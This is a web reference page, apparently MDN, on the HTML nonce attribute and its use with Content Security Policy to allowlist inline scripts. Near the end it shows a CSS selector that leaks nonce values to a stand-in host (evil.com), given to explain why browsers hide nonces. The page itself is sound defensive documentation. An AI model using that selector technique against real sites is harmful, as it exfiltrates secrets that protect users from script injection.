HTML nonce global attribute
BaselineWidely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2022.
Thenonce
global attributeis a content attribute defining a cryptographic nonce ("number used once") which can be used byContent Security Policy to determine whether or not a given fetch willbe allowed to proceed for a given element.
Description
Thenonce
attribute is useful to allowlist specific elements, such as a particular inline script or style elements.It can help you to avoid using theCSPunsafe-inline
directive, which would allowlistall inline scripts or styles.
Note:Only usenonce
for cases where you have no way around using unsafe inline scriptor style contents. If you don't neednonce
, don't use it. If your script is static, you could also use a CSP hash instead.(See usage notes onunsafe inline script.)Always try to take full advantage ofCSP protections and avoid nonces or unsafe inline scripts whenever possible.
Using nonce to allowlist a <script> element
There are a few steps involved to allowlist an inline script using the nonce mechanism:
Generating values
From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically securerandom number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:
import crypto from "node:crypto";crypto.randomBytes(16).toString("base64");// '8IBTHwOdqNKAWeKl7plt8g=='
Allowlisting inline script
The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:
<script nonce="8IBTHwOdqNKAWeKl7plt8g=="> // …</script>
Sending a nonce with a CSP header
Finally, you'll need to send the nonce value in aContent-Security-Policy
header(prependnonce-
):
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Accessing nonces and nonce hiding
For security reasons, thenonce
content attribute is hidden (an empty string will be returned).
script.getAttribute("nonce"); // returns empty string
Thenonce
property is the only way to access nonces:
script.nonce; // returns nonce value
Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab datafrom content attributes like this:
script[nonce~="whatever"] { background: url("https://evil.com/nonce?whatever");}
Specifications
Specification |
---|
HTML # attr-nonce |